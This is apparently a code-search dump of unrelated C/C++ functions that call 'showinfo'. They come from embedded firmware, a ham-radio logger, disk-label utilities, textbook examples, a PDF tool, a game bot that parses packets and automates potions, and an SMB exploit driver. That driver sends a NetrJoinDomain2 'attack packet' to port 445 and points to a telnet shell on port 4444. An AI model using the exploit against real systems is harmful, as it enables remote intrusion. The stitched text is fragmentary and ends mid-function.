static void timetick( unsigned int systick ) { static uint8_t offset = 0; uint32_t sec; uint8_t buf[64]; uint8_t i,j; void * pmsg; /*发生状态改变*/ #ifdef bitter if((ctrlbit_printer_3v3_on|ctrlbit_buzzer)^ctrlbit_status) { showinfo(); ctrlbit_status=(ctrlbit_printer_3v3_on|ctrlbit_buzzer); } #endif offset++; if( offset >= 20 ) { offset = 0; sec = systick / 100; sprintf( buf, "%02d:%02d %04d", sec / 60, sec % 60, Frequency); lcd_asc0608( 0, 0, buf, LCD_MODE_SET ); if( sec & 0x01 ) /*输出控制*/ { GPIO_SetBits( GPIOB, GPIO_Pin_1 ); }else { GPIO_ResetBits( GPIOB, GPIO_Pin_1 ); } showinfo(); } }
/* Perform the steps needed to grab a call and then free data * \return frequency of the spot in Hz */ static double execute_grab(spot *data) { extern char hiscall[]; extern char mode[]; extern int cqmode; extern float mem; extern float freq; double f = data->freq - fldigi_get_carrier(); set_outfreq(f); send_bandswitch((int) f); strcpy(hiscall, data->call); showinfo(getctydata_pfx(hiscall)); searchlog(hiscall); /* if in CQ mode switch to S&P and remember QRG */ if (cqmode == CQ) { cqmode = S_P; strcpy(mode, "S&P "); mem = freq; mvprintw(14, 68, "MEM: %7.1f", mem); } refreshp(); g_free(data->call); g_free(data); return f; }
static void show( void *parent ) { GPIO_InitTypeDef GPIO_InitStructure; uint8_t i; char buf[64]; scr_1_idle.parent = (PSCR)parent; pulse_init( ); //ad_init( ); for( i = 0; i < sizeof( PIN_OUT ) / sizeof( AUX_IO ); i++ ) { GPIO_InitStructure.GPIO_Pin = PIN_OUT[i].pin; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_OUT; GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_100MHz; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; GPIO_Init( PIN_OUT[i].port, &GPIO_InitStructure ); } GPIO_InitStructure.GPIO_Mode = GPIO_Mode_IN; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL; for( i = 0; i < sizeof( PIN_IN ) / sizeof( AUX_IO ); i++ ) { GPIO_InitStructure.GPIO_Pin = PIN_IN[i].pin; GPIO_Init( PIN_IN[i].port, &GPIO_InitStructure ); } /*PA0 速度信号*/ showinfo(); }
static void cmd_printall(struct disklabel *lp, char *s, int fd) { showinfo(stdout, lp, specname); showpartitions(stdout, lp, Cflag); }
int main() { init_all(); struct compact p; char board[STRLEN],path[STRLEN]; strsncpy(board, getparm("board"), 20); sprintf(path,"compact/%s/compact",board); int total=get_num_records(path,sizeof(p)); if(total==0) { showinfo("该板尚无过刊."); return 1; } printf("<center>%s 过刊区<br>",board); printf("----------------------------------------------------------"); printf("<table width=80% boarder=0 align=center>"); printf("<tr><td>序号</td><td>名称</td><td>文章总数</td><td>建立日期</td></tr>"); FILE *fp=fopen(path,"r"); if(fp==0) { printf("文件读取错误,请重试."); return 1; } int i=1; while(1) { if(fread(&p, sizeof(p), 1, fp)<=0) break; printf("<tr><td>%d</td><td><a href=bbsdoc?board=%s&&mode=c&&num=%d>%s</a></td><td>%d</td><td>%6.6s</td></tr>\ ",i,board,i,p.name,p.total,ctime(&p.time)+4); i++; } printf("</table>"); fclose(fp); return 0; }
int main() { struct namect person; person = getinfo(); person = makeinfo(person); showinfo(person); return 0; }
int main(void){ struct namect person; person=getinfo(); person=makeinfo(person);//person====== showinfo(person); return 0; }
void grab_next(void) { extern char hiscall[]; extern char mode[]; extern int cqmode; extern int trx_control; extern float mem; extern float freq; #ifdef HAVE_LIBHAMLIB extern freq_t outfreq; #else extern int outfreq; #endif static int dir = 1; /* start scanning up */ spot *data; if (trx_control == 0) return; data = bandmap_next( dir, (unsigned int)(freq*1000) ); if (data == NULL) { /* nothing in that direction */ /* try other one */ dir = 1 - dir; data = bandmap_next( dir, (unsigned int)(freq*1000)); } if (data != NULL) { outfreq = data -> freq; outfreq -= fldigi_get_carrier(); send_bandswitch( (int) outfreq ); strcpy( hiscall, data->call ); showinfo( getctydata( hiscall ) ); searchlog( hiscall ); /* if in CQ mode switch to S&P and remember QRG */ if (cqmode == CQ) { cqmode = S_P; strcpy(mode, "S&P "); mem = freq; mvprintw(14, 68, "MEM: %7.1f", mem); } refreshp(); g_free( data->call ); g_free( data ); } }
int main(void) { struct namect person; getinfo(&person); makeinfo(&person); showinfo(&person); cleanup(&person); double area = rect_area( &(struct rect) {10.5, 20.0});
int main(){ struct namect person; getinfo(&person); makeinfo(&person); showinfo(&person); cleanup(&person); return 0; }
int main(int argc, char ** argv) { struct namect person; getinfo(&person); makeinfo(&person); showinfo(&person); exit(EXIT_SUCCESS); }
/* This is the main function */ int main() { /* Local variables. */ int m; int * p; /* Declare p as pointer, so that p can hold an address. */ char c[ 4 ] = "Hej"; /* Do some calculation. */ gv = 4; m = gv + in; /* Check the addresses and values of some variables and stuff */ saveword( "AM1: gv", &gv ); saveword( "AM2: in", &in ); saveword( "AM3: fun", &fun ); saveword( "AM4: main", &main ); p = &m; /* Check p and m */ saveword( "AM5: p", &p ); saveword( "AM6: m", &m ); /* Change *p */ *p = *p + 1; /* Check p and m */ saveword( "AM7: p", &p ); saveword( "AM8: m", &m ); p = (int*)c; /* Casting a char pointer to a integer pointer */ saveword( "AM9: p", &p ); savebyte( "AM10: c[0]", &c[0] ); savebyte( "AM11: c[1]", &c[1] ); savebyte( "AM12: c[2]", &c[2] ); savebyte( "AM13: c[3]", &c[3] ); *p = 0x1234abcd; /* It starts to get interesting... */ savebyte( "AM14: c[0]", &c[0] ); savebyte( "AM15: c[1]", &c[1] ); savebyte( "AM16: c[2]", &c[2] ); savebyte( "AM17: c[3]", &c[3] ); fun(m); /* Re-check the addresses and values of m and gv */ saveword( "AM18: m", &m ); saveword( "AM19: gv", &gv ); showinfo(); }
void grabspot(void) { extern char hiscall[]; extern char mode[]; extern int cqmode; extern int trx_control; extern float mem; extern float freq; #ifdef HAVE_LIBHAMLIB extern freq_t outfreq; #else extern int outfreq; #endif spot *data; if (trx_control == 0) return; if (hiscall[0] != '\0') { data = bandmap_lookup( hiscall ); if (data != NULL) { outfreq = data -> freq; outfreq -= fldigi_get_carrier(); send_bandswitch( (int) outfreq ); strcpy( hiscall, data->call ); showinfo( getctydata( hiscall ) ); searchlog( hiscall ); /* if in CQ mode switch to S&P and remember QRG */ if (cqmode == CQ) { cqmode = S_P; strcpy(mode, "S&P "); mem = freq; mvprintw(14, 68, "MEM: %7.1f", mem); } refreshp(); g_free( data->call ); g_free( data ); } } }
BOOL DrinkManaPotion() { static int i=5; time_t time_now; time(&time_now); if(time_now - _time_drink_mana_potion < 5) return FALSE; time(&_time_drink_mana_potion); PostMessage(_hwnd,WM_KEYDOWN,'0'+i,0); showinfo("_hwnd:%x , drinking mana %d",_hwnd,i); i++; if(i>5) i=_life_flask+1; return TRUE; }
int main (int argc,char *argv[]) { const char *progname; int err = 0,fd,option = OPT_INFO; int open_flag; (progname = strrchr (argv[0],'/')) ? progname++ : (progname = argv[0]); /* parse command-line options */ if (argc == 3 && !strcmp (argv[1],"info")) option = OPT_INFO; else if (argc == 6 && !strcmp (argv[1],"read")) option = OPT_READ; else if (argc == 6 && !strcmp (argv[1],"write")) option = OPT_WRITE; else if (argc == 5 && !strcmp (argv[1],"erase")) option = OPT_ERASE; else showusage (progname); /* open device */ open_flag = (option==OPT_INFO || option==OPT_READ) ? O_RDONLY : O_RDWR; if ((fd = open (argv[2],O_SYNC | open_flag)) < 0) { perror ("open()"); exit (1); } switch (option) { case OPT_INFO: showinfo (fd); break; case OPT_READ: err = flash_to_file (fd,strtol (argv[3],NULL,0),strtol (argv[4],NULL,0),argv[5]); break; case OPT_WRITE: err = file_to_flash (fd,strtol (argv[3],NULL,0),strtol (argv[4],NULL,0),argv[5]); break; case OPT_ERASE: err = erase_flash (fd,strtol (argv[3],NULL,0),strtol (argv[4],NULL,0)); break; } /* close device */ if (close (fd) < 0) perror ("close()"); exit (err); }
int who1(){ int fd; struct utmp entry; ssize_t length = sizeof(struct utmp); if(fd = open(UTMP_FILE, O_RDONLY), fd == -1){ //UTMP_FILE is in #include<utmp.h> perror(UTMP_FILE); exit(1); } while(read(fd, &entry, length) == length) showinfo(&entry); close(fd); return 0; }
BOOL DrinkLifePotion() { static int i=1; time_t time_now; time(&time_now); // SendMessage(_hwnd,WM_RBUTTONDOWN,0,MAKEWORD(1,1)); if(time_now - _time_drink_life_potion < 5) { return FALSE; } time(&_time_drink_life_potion); SendMessage(_hwnd,WM_KEYDOWN,'0'+i,0); showinfo("_hwnd:%x , drinking %d",_hwnd,i); i++; if(i>_life_flask) i=1; return TRUE; }
void calledit(void) { extern char hiscall[]; extern int block_part; int i = 0, l, b = 0; int j = 0; int x = 0; int cnt = 0, insertflg = 0; char dupecall[20]; char call1[30], call2[10]; l = strlen(hiscall); b = l - 1; while ((i != 27) && (b <= strlen(hiscall))) { attroff(A_STANDOUT); attron(COLOR_PAIR(C_HEADER)); mvprintw(12, 29, " "); mvprintw(12, 29, hiscall); mvprintw(12, 29 + b, ""); /* no refreshp() here as getch() calls wrefresh() for the * panel with last output (whre the cursor should go */ i = onechar(); if ((i == 161) || (i == 160)) // Ins / Del cnt++; else { if (i != 27) cnt = 0; } if (i == 9) block_part = 1; else block_part = 0; if (i == 1) // ctrl-A, home { b = 0; x = 0; } if (i == 5) // ctrl-E, End { b = strlen(hiscall) - 1; x = 0; } if (i == 155) { // left if (b > 0) b--; } else if (i == 154) { // right if (b < strlen(hiscall) - 1) { b++; } else break; /* stop edit */ } else if (i == 161) { /* delete */ l = strlen(hiscall); for (j = b; j <= l; j++) { hiscall[j] = hiscall[j + 1]; /* move to left incl. \0 */ } strncpy(dupecall, hiscall, 16); /* update cty info */ x = getctydata(dupecall); showinfo(x); if (cnt > 1) searchlog(hiscall); } else if (i == 127) { /* backspace */ if (b > 0) { b--; l = strlen(hiscall); for (j = b; j <= l; j++) { hiscall[j] = hiscall[j + 1]; } strncpy(dupecall, hiscall, 16); /* update cty info */ x = getctydata(dupecall); showinfo(x); if (cnt > 1) searchlog(hiscall); } } else if (i == 160) { /* insert */ if (insertflg == 0) insertflg = 1; else insertflg = 0; } else if (i != 27) { if ((i >= 97) && (i <= 122)) i = i - 32; if (((i >= 65) && (i <= 90)) || ((i >= 47) && (i <= 57))) { if (b <= 12) { strncpy(call1, hiscall, b); } if (b <= 12) { strncpy(call2, hiscall + b, strlen(hiscall) - (b - 1)); } if (strlen(hiscall) + 1 == 12) break; // leave insert mode if (((i >= 65) && (i <= 90)) || ((i >= 47) && (i <= 57))) { call1[b] = i; call1[b + 1] = '\0'; if ((strlen(call1) + strlen(call2)) < 12) { strcat(call1, call2); // if (strlen(call1) + strlen(hiscall) >= 12) break; if (strlen(call1) >= 12) break; strcpy(hiscall, call1); } } if ((b < strlen(hiscall) - 1) && (b <= 12)) b++; else break; strncpy(dupecall, hiscall, 16); /* update cty info */ x = getctydata(dupecall); showinfo(x); searchlog(hiscall); } else if (x != 0) i = 27; } else i = 27; } attroff(A_STANDOUT); attron(COLOR_PAIR(C_HEADER)); mvprintw(12, 29, hiscall); mvprintw(12, 29, " "); refreshp(); attron(A_STANDOUT); searchlog(hiscall); }
int showmenu(list<Mod>& options) { int ch; int line = 0; int offset = 0; int typed = 0; WINDOW* menu = newwin(LINES-1, (COLS-1)/2, 0, 0); PANEL* pmenu = new_panel(menu); WINDOW* info = newwin(LINES-1, COLS/2, 0, (COLS-1)/2); PANEL* pinfo = new_panel(info); status(" "); do { werase(menu); wprintw(menu, "Select Mods"); int start = offset; int end = offset + (LINES-4); if (end > (int)options.size()) end = options.size(); list<Mod>::iterator i = options.begin(); int x = 0; while (x < start) x++, i++; if (x++ == 0) { mvwprintw(menu, 3, 0, "Done\n"); if (line == 0) mvwchgat(menu, 3, 0, -1, A_REVERSE, 0, NULL); } while (x <= end && i != options.end()) { mvwprintw(menu, x-start+3, 0, "%d: %s\n", x, i->name); if (x == line) { mvwchgat(menu, x-start+3, 0, -1, A_REVERSE, 0, NULL); showinfo(info, *i); } x++, i++; } end = x; update_panels(); doupdate(); ch = getch(); switch (ch) { case KEY_UP: line--; if (line < 0) line = 0; if (line-1 <= start) { offset--; if (offset < 0) offset = 0; } if (typed) status(" "); typed = 0; break; case KEY_DOWN: line++; if (line >= end) line = end-1; if (line-start+5 >= LINES) { offset++; } if (typed) status(" "); typed = 0; break; case KEY_PPAGE: line -= LINES-4; if (line < 0) line = 0; offset = line-1; if (offset < 0) offset = 0; break; case KEY_NPAGE: line += LINES-4; if (line > (int)options.size()) line = options.size(); offset = line-LINES+6; if (offset < 0) offset = 0; break; case KEY_HOME: line = 0; offset = 0; break; case KEY_END: line = options.size(); offset = line-LINES+6; if (offset < 0) offset = 0; break; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': typed *= 10; typed += ch - '0'; line = typed; if (line > (int)options.size()) line = options.size(); status("%d", typed); break; } } while (ch != '\n'); del_panel(pinfo); delwin(info); del_panel(pmenu); delwin(menu); update_panels(); doupdate(); return line-1; }
static void cmd_info(struct disklabel *lp, char *s, int fd) { char line[BUFSIZ]; int v, i; u_int32_t u; printf("# Current values:\n"); showinfo(stdout, lp, specname); /* d_type */ for (;;) { i = lp->d_type; if (i < 0 || i >= DKMAXTYPES) i = 0; i = getinput(line, "Disk type [%s]: ", dktypenames[i]); if (i == -1) return; else if (i == 0) break; if (!strcmp(line, "?")) { dumpnames("Supported disk types", dktypenames, DKMAXTYPES); continue; } for (i = 0; i < DKMAXTYPES; i++) { if (!strcasecmp(dktypenames[i], line)) { lp->d_type = i; goto done_typename; } } v = atoi(line); if ((unsigned)v >= DKMAXTYPES) { warnx("Unknown disk type: %s", line); continue; } lp->d_type = v; done_typename: break; } /* d_typename */ i = getinput(line, "Disk name [%.*s]: ", (int) sizeof(lp->d_typename), lp->d_typename); if (i == -1) return; else if (i == 1) (void) strncpy(lp->d_typename, line, sizeof(lp->d_typename)); /* d_packname */ cmd_name(lp, s, fd); /* d_npartitions */ for (;;) { i = getinput(line, "Number of partitions [%" PRIu16 "]: ", lp->d_npartitions); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid number of partitions `%s'\n", line); continue; } lp->d_npartitions = u; break; } /* d_secsize */ for (;;) { i = getinput(line, "Sector size (bytes) [%" PRIu32 "]: ", lp->d_secsize); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid sector size `%s'\n", line); continue; } lp->d_secsize = u; break; } /* d_nsectors */ for (;;) { i = getinput(line, "Number of sectors per track [%" PRIu32 "]: ", lp->d_nsectors); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid number of sectors `%s'\n", line); continue; } lp->d_nsectors = u; break; } /* d_ntracks */ for (;;) { i = getinput(line, "Number of tracks per cylinder [%" PRIu32 "]: ", lp->d_ntracks); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid number of tracks `%s'\n", line); continue; } lp->d_ntracks = u; break; } /* d_secpercyl */ for (;;) { i = getinput(line, "Number of sectors/cylinder [%" PRIu32 "]: ", lp->d_secpercyl); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid number of sector/cylinder `%s'\n", line); continue; } lp->d_secpercyl = u; break; } /* d_ncylinders */ for (;;) { i = getinput(line, "Total number of cylinders [%" PRIu32 "]: ", lp->d_ncylinders); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid sector size `%s'\n", line); continue; } lp->d_ncylinders = u; break; } /* d_secperunit */ for (;;) { i = getinput(line, "Total number of sectors [%" PRIu32 "]: ", lp->d_secperunit); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid number of sectors `%s'\n", line); continue; } lp->d_secperunit = u; break; } /* d_rpm */ /* d_interleave */ for (;;) { i = getinput(line, "Hardware sectors interleave [%" PRIu16 "]: ", lp->d_interleave); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid sector interleave `%s'\n", line); continue; } lp->d_interleave = u; break; } /* d_trackskew */ for (;;) { i = getinput(line, "Sector 0 skew, per track [%" PRIu16 "]: ", lp->d_trackskew); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid track sector skew `%s'\n", line); continue; } lp->d_trackskew = u; break; } /* d_cylskew */ for (;;) { i = getinput(line, "Sector 0 skew, per cylinder [%" PRIu16 "]: ", lp->d_cylskew); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid cylinder sector `%s'\n", line); continue; } lp->d_cylskew = u; break; } /* d_headswitch */ for (;;) { i = getinput(line, "Head switch time (usec) [%" PRIu32 "]: ", lp->d_headswitch); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid head switch time `%s'\n", line); continue; } lp->d_headswitch = u; break; } /* d_trkseek */ for (;;) { i = getinput(line, "Track seek time (usec) [%" PRIu32 "]:", lp->d_trkseek); if (i == -1) return; else if (i == 0) break; if (sscanf(line, "%" SCNu32, &u) != 1) { printf("Invalid track seek time `%s'\n", line); continue; } lp->d_trkseek = u; break; } }
int pdfinfo_main(int argc, char **argv) { enum { NO_FILE_OPENED, NO_INFO_GATHERED, INFO_SHOWN } state; char *filename = ""; char *password = ""; int show = ALL; int c; while ((c = fz_getopt(argc, argv, "mfispxd:")) != -1) { switch (c) { case 'm': if (show == ALL) show = DIMENSIONS; else show |= DIMENSIONS; break; case 'f': if (show == ALL) show = FONTS; else show |= FONTS; break; case 'i': if (show == ALL) show = IMAGES; else show |= IMAGES; break; case 's': if (show == ALL) show = SHADINGS; else show |= SHADINGS; break; case 'p': if (show == ALL) show = PATTERNS; else show |= PATTERNS; break; case 'x': if (show == ALL) show = XOBJS; else show |= XOBJS; break; case 'd': password = fz_optarg; break; default: infousage(); break; } } if (fz_optind == argc) infousage(); ctx = fz_new_context(NULL, NULL, FZ_STORE_UNLIMITED); if (!ctx) { fprintf(stderr, "cannot initialise context\n"); exit(1); } state = NO_FILE_OPENED; while (fz_optind < argc) { if (state == NO_FILE_OPENED || !arg_is_page_range(argv[fz_optind])) { if (state == NO_INFO_GATHERED) { showinfo(filename, show, "1-"); } closexref(); filename = argv[fz_optind]; printf("%s:\n", filename); doc = pdf_open_document_no_run(ctx, filename); if (pdf_needs_password(doc)) if (!pdf_authenticate_password(doc, password)) fz_throw(ctx, FZ_ERROR_GENERIC, "cannot authenticate password: %s", filename); pagecount = pdf_count_pages(doc); showglobalinfo(); state = NO_INFO_GATHERED; } else { showinfo(filename, show, argv[fz_optind]); state = INFO_SHOWN; } fz_optind++; } if (state == NO_INFO_GATHERED) showinfo(filename, show, "1-"); closexref(); fz_free_context(ctx); return 0; }
void calledit(void) { extern char hiscall[]; extern int block_part; int i = 0, l, b = 0; int j = 0; int x = 0; int cnt = 0, insertflg = 0; char call1[30], call2[10]; l = strlen(hiscall); b = l - 1; while ((i != 27) && (b <= strlen(hiscall))) { attroff(A_STANDOUT); attron(COLOR_PAIR(C_HEADER)); mvprintw(12, 29, " "); mvprintw(12, 29, hiscall); mvprintw(12, 29 + b, ""); /* no refreshp() here as getch() calls wrefresh() for the * panel with last output (whre the cursor should go */ i = key_get(); // <Delete> or <Insert> if ((i == KEY_DC) || (i == KEY_IC)) cnt++; else { if (i != 27) cnt = 0; } // <Tab> if (i == 9) block_part = 1; else block_part = 0; // Ctrl-A (^A) or <Home>, move to head of callsign field. if (i == 1 || i == KEY_HOME) { b = 0; x = 0; } // Ctrl-E (^E) or <End>, move to end of callsign field, exit edit mode. if (i == 5 || i == KEY_END) { b = strlen(hiscall); break; } // Left arrow if (i == KEY_LEFT) { if (b > 0) b--; // Right arrow } else if (i == KEY_RIGHT) { if (b < strlen(hiscall) - 1) { b++; } else break; /* stop edit */ // <Delete> } else if (i == KEY_DC) { l = strlen(hiscall); for (j = b; j <= l; j++) { hiscall[j] = hiscall[j + 1]; /* move to left incl. \0 */ } showinfo(getctydata_pfx(hiscall)); if (cnt > 1) searchlog(hiscall); // <Backspace> } else if (i == KEY_BACKSPACE) { if (b > 0) { b--; l = strlen(hiscall); for (j = b; j <= l; j++) { hiscall[j] = hiscall[j + 1]; } showinfo(getctydata_pfx(hiscall)); if (cnt > 1) searchlog(hiscall); } // <Insert> } else if (i == KEY_IC) { if (insertflg == 0) insertflg = 1; else insertflg = 0; // Any character left other than <Escape>. } else if (i != 27) { // Promote lower case to upper case. if ((i >= 97) && (i <= 122)) i = i - 32; // Accept A-Z or / and 1-9 if (((i >= 65) && (i <= 90)) || ((i >= 47) && (i <= 57))) { call2[0] = '\0'; if (b <= 12) { strncpy(call1, hiscall, b); strncpy(call2, hiscall + b, strlen(hiscall) - (b - 1)); } if (strlen(hiscall) + 1 == 12) break; // leave insert mode if (((i >= 65) && (i <= 90)) || ((i >= 47) && (i <= 57))) { call1[b] = i; call1[b + 1] = '\0'; if ((strlen(call1) + strlen(call2)) < 12) { strcat(call1, call2); // if (strlen(call1) + strlen(hiscall) >= 12) break; if (strlen(call1) >= 12) break; strcpy(hiscall, call1); } } if ((b < strlen(hiscall) - 1) && (b <= 12)) b++; else break; showinfo(getctydata_pfx(hiscall)); searchlog(hiscall); } else if (x != 0) i = 27; } else i = 27; } attroff(A_STANDOUT); attron(COLOR_PAIR(C_HEADER)); mvprintw(12, 29, hiscall); mvprintw(12, 29, " "); refreshp(); attron(A_STANDOUT); searchlog(hiscall); }
BYTE process_f1(BYTE* aPacket,DWORD len) { // if(len==1 && *aPacket==0) // {showinfo("done from f1, id:%x,x=%d,y=%d---x=%d,y=%d",_monster.id,_monster.pos.x,_monster.pos.y,_monster.pos1.x,_monster.pos1.y);return 0;} //showinfo("in f1, command:%rnd",command); /* case 3: //life mana update if(_player.id==0) _player.id=object_id; if(_player.id==object_id) { _player.life = *(aPacket+8) * 256+*(aPacket+9); _player.mana = *(aPacket+17) * 256+*(aPacket+18); _player.shield = *(aPacket+26) * 256+*(aPacket+27); if(_player.mana_max<_player.mana) _player.mana_max=_player.mana; if(_player.life_max<_player.life) _player.life_max=_player.life; if(_player.life<_player.life_max/1.5) if(DrinkLifePotion()) { sprintf_s(_tempbuf,"drink life potion, life: %d, life_max:%d",_player.life,_player.life_max); return _tempbuf;} if(_player.mana<_player.mana_max/4) if(DrinkManaPotion()) return "drink mana potion22"; sprintf_s(_tempbuf,"player life: %d, mana: %d, shield:%d ",_player.life,_player.mana,_player.shield); }*/ switch(_action.count) { case 0: break; case 1: _monster.id=htons(*((WORD*)(aPacket+2))); // showinfo("monster xx id:%x,%x",_monster.id,aPacket[0]); break; case 2: // showinfo("monster id:%x",_monster.id); _monster.action = *aPacket; //7 behave;1 drink;3 life update;5 die if(_monster.action == 4) { // showinfo("mouseter died:%x",_monster.id); MonsterDie(_monster.id); RemoveMonster(_monster.id); } break; case 3: if(_monster.action==7) _monster.action1 = *aPacket; //action1: //2 stop and hit //0 stop and do nothing //3 hit //1 move if(_monster.action ==3) _monster.life = *(aPacket+2)*256+*(aPacket+3);//life/mana/shield update break; case 4: if(_monster.action1 == 1 || _monster.action1==3) _monster.pos.x = htons(*((WORD*)(aPacket+2))); //move pos break; case 5: if(_monster.action1 == 1 || _monster.action1==3) { _monster.pos.y = htons(*((WORD*)(aPacket+2))); //_monster.type = OBJ_MONSTER; UpdateMonster(&_monster); } break; case 6: if(_monster.action ==3) _monster.mana = htons(*((WORD*)(aPacket+2)));//life/mana/shield update break; case 9: if(_monster.action1 == 1) _monster.pos1.x = htons(*((WORD*)(aPacket+2))); if(_monster.action ==3) { _monster.shield = htons(*((WORD*)(aPacket+2)));//life/mana/shield update if(_player.id==_monster.id) { _player.id=_monster.id; _player.life=_monster.life; _player.mana=_monster.mana; _player.shield=_monster.shield; if(_player.mana_max<_player.mana) _player.mana_max=_player.mana; if(_player.life_max<_player.life) _player.life_max=_player.life; if(_player.life<_player.life_max/1.5) if(DrinkLifePotion()) showinfo("drink life potion, life: %d, life_max:%d",_player.life,_player.life_max); if(_player.mana<_player.mana_max/4) if(DrinkManaPotion()) showinfo("drink mana"); for(int i=0;i<MAX_monster_array;i++) { if(_monster.id==_monster_array[i].id) { _player.pos.x=_monster_array[i].pos.x; _player.pos.y=_monster_array[i].pos.y; break; } } } } break; case 10: if(_monster.action1 == 1) { _monster.pos1.y = htons(*((WORD*)(aPacket+2))); if(_monster.id==_player.id) { _player.pos.x=_monster.pos.x; _player.pos.y=_monster.pos.y; } //UpdateMonster(_monster.id,_monster.pos.x,_monster.pos.y); //showinfo("moving"); } break; default: switch(_monster.action) { case 7: // return process_f1_action7(aPacket,len,command,_monster); break; case 3: //life mana update // return process_f1_action3(aPacket,len,command,monster); break; case 1: // drink // return process_f1_action1(aPacket,len,command,monster); break; } } // showinfo("in f1: count:%d,action:%d",_action.count,_monster.action); return 0; }
void main(int argc,char **argv) { WSADATA ws; struct sockaddr_in server; SOCKET sock; DWORD ret; WORD userid,treeid,fid; showinfo(); return; WSAStartup(MAKEWORD(2,2),&ws); sock = socket(AF_INET,SOCK_STREAM,0); if(sock<=0) { return; } server.sin_family = AF_INET; server.sin_addr.s_addr = inet_addr(argv[1]); server.sin_port = htons((USHORT)445); printf("[+] Connecting %s\n",argv[1]); ret=connect(sock,(struct sockaddr *)&server,sizeof(server)); if (ret==-1) { printf("connect error!\n"); return; } neg(sock); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); ret=send(sock,(char *)Session_Setup_AndX_Request,sizeof(Session_Setup_AndX_Request)-1,0); if (ret<=0) { printf("send Session_Setup_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); userid=*(WORD *)(recvbuff+0x20); //get userid memcpy(TreeConnect_AndX_Request+0x20,(char *)&userid,2); //update userid ret=send(sock,(char *)TreeConnect_AndX_Request,sizeof(TreeConnect_AndX_Request)-1,0); if (ret<=0) { printf("send TreeConnect_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); treeid=*(WORD *)(recvbuff+0x1c); //get treeid //send NTCreate_AndX_Request memcpy(NTCreate_AndX_Request+0x20,(char *)&userid,2); //update userid memcpy(NTCreate_AndX_Request+0x1c,(char *)&treeid,2); //update treeid ret=send(sock,(char *)NTCreate_AndX_Request,sizeof(NTCreate_AndX_Request)-1,0); if (ret<=0) { printf("send NTCreate_AndX_Request error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); fid=*(WORD *)(recvbuff+0x2a); //get fid //rpc bind memcpy(Rpc_Bind_Wkssvc+0x20,(char *)&userid,2); memcpy(Rpc_Bind_Wkssvc+0x1c,(char *)&treeid,2); memcpy(Rpc_Bind_Wkssvc+0x43,(char *)&fid,2); *(DWORD *)Rpc_Bind_Wkssvc=htonl(sizeof(Rpc_Bind_Wkssvc)-1-4); ret=send(sock,(char *)Rpc_Bind_Wkssvc,sizeof(Rpc_Bind_Wkssvc)-1,0); if (ret<=0) { printf("send Rpc_Bind_Wkssvc error!\n"); return; } recv(sock,(char *)recvbuff,sizeof(recvbuff),0); MakeAttackPacket((char *)argv[2]); memcpy(Rpc_NetrJoinDomain2+0x20,(char *)&userid,2); memcpy(Rpc_NetrJoinDomain2+0x1c,(char *)&treeid,2); memcpy(Rpc_NetrJoinDomain2+0x43,(char *)&fid,2); *(DWORD *)Rpc_NetrJoinDomain2=htonl(dwRpc_NetrJoinDomain2-4); *(WORD *)(Rpc_NetrJoinDomain2+0x27)=dwRpc_NetrJoinDomain2-0x58; //update Total Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x3b)=dwRpc_NetrJoinDomain2-0x58; //update Data Count *(WORD *)(Rpc_NetrJoinDomain2+0x45)=dwRpc_NetrJoinDomain2-0x47; //update Byte Count *(WORD *)(Rpc_NetrJoinDomain2+0x60)=dwRpc_NetrJoinDomain2-0x58; //update Frag Length ret=send(sock,(char *)Rpc_NetrJoinDomain2,dwRpc_NetrJoinDomain2,0); if (ret<=0) { printf("send Rpc_NetrJoinDomain2 error!\n"); return; } printf("[+] Send attack packet successfully.telnet %s:4444?\n",argv[1]); recv(sock,(char *)recvbuff,sizeof(recvbuff),0); closesocket(sock); }
BYTE process_f0(BYTE* aPacket,DWORD len) { char str[100]; static int box_status=-1; static int big_box_status=-1; DWORD id; static int socket_count=0; static int blue=0,green=0,red=0; str[0]=0; if(len==4 && aPacket[0]==0x40 && aPacket[1]==0x80 && aPacket[2]==0 && aPacket[3]==0) //dead monster { //RemoveMonster(_monster.id); _monster.id=0; } if(aPacket==NULL && len==0) //packet over { if(_monster.type==0) _monster.id=0; if(_monster.quality== ITEM_RARE || _monster.quality==ITEM_UNIQUE) _monster.good_item=1; if(strstr(_itemTypeStr,"Wand") && _monster.total_sockets==3 && _monster.sockets_link==3) _monster.good_item=1; // if(_monster.total_sockets>2 && _monster.sockets_link>2) // _monster.good_item=1; if(blue+green+red==3 && _monster.sockets_link>2) _monster.good_item=1; if(_monster.total_sockets>4) _monster.good_item=1; if(strstr(_itemTypeStr,"Items/Flask") && _monster.quality==ITEM_MAGIC) _monster.good_item=1; if(strstr(_itemTypeStr,"Items/Currency")) _monster.good_item=1; if(strstr(_itemTypeStr,"Items/Gems")) _monster.good_item=1; if(_show=='3') { if(_monster.type==OBJ_ITEM) showinfo("type:%d, id:%x, quality:%d, socket:%d, link%d, 